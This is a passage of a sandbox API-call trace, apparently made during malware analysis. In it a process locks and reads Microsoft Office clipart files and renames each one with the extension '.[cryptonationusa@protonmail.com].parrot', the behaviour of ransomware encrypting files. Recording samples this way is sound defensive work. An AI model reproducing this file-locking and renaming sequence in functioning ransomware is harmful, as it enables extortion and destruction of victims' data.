lpNewFilePointer=0x0) returned 1 [0139.643] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.643] CloseHandle (hObject=0x288) returned 1 [0139.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.647] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc324, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.647] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.666] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc20c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc20c, lpOverlapped=0x0) returned 1 [0139.678] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.679] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc324, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.680] CloseHandle (hObject=0x288) returned 1 [0139.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.684] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf20, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.684] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.684] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.725] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xae08, lpOverlapped=0x0) returned 1 [0139.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.790] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.790] CloseHandle (hObject=0x288) returned 1 [0139.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.794] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe292, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.794] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.794] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.822] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.822] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe17a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe17a, lpOverlapped=0x0) returned 1 [0139.844] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.845] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe292, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.845] CloseHandle (hObject=0x288) returned 1 [0139.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.849] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7266, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.849] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.849] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.851] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.851] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x714e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x714e, lpOverlapped=0x0) returned 1 [0139.854] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.855] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7266, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.855] CloseHandle (hObject=0x288) returned 1 [0139.856] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.861] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d66, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.861] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.861] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.863] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.863] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c4e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c4e, lpOverlapped=0x0) returned 1 [0139.865] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.867] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d66, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.867] CloseHandle (hObject=0x288) returned 1 [0139.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.900] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc496, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.900] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.900] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.901] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.902] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc37e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc37e, lpOverlapped=0x0) returned 1 [0139.905] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.905] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc496, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.906] CloseHandle (hObject=0x288) returned 1 [0139.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.909] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6742, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.910] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.911] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.911] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x662a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x662a, lpOverlapped=0x0) returned 1 [0139.914] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.914] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6742, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.914] CloseHandle (hObject=0x288) returned 1 [0139.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.917] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x423c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.918] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.919] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4124, lpOverlapped=0x0) returned 1 [0139.920] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.920] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x423c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.920] CloseHandle (hObject=0x288) returned 1 [0139.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.923] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.923] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.923] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.925] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13c4, lpOverlapped=0x0) returned 1 [0139.926] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.926] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.926] CloseHandle (hObject=0x288) returned 1 [0139.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.929] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.929] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.929] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.933] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35bc, lpOverlapped=0x0) returned 1 [0139.934] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.935] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.935] CloseHandle (hObject=0x288) returned 1 [0139.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.938] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b30, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.938] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.938] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.964] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.964] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a18, lpOverlapped=0x0) returned 1 [0139.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.968] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.968] CloseHandle (hObject=0x288) returned 1 [0139.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.972] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x159c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.972] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.972] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.976] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.979] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1484, lpOverlapped=0x0) returned 1 [0139.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0139.982] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0139.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0139.983] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x159c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.983] CloseHandle (hObject=0x288) returned 1 [0139.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0139.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0139.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.988] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.988] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.988] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.990] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.990] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27b4, lpOverlapped=0x0) returned 1 [0139.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0139.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0139.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0139.992] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.992] CloseHandle (hObject=0x288) returned 1 [0139.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0139.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0139.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.995] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3144, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.995] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.995] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.999] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, 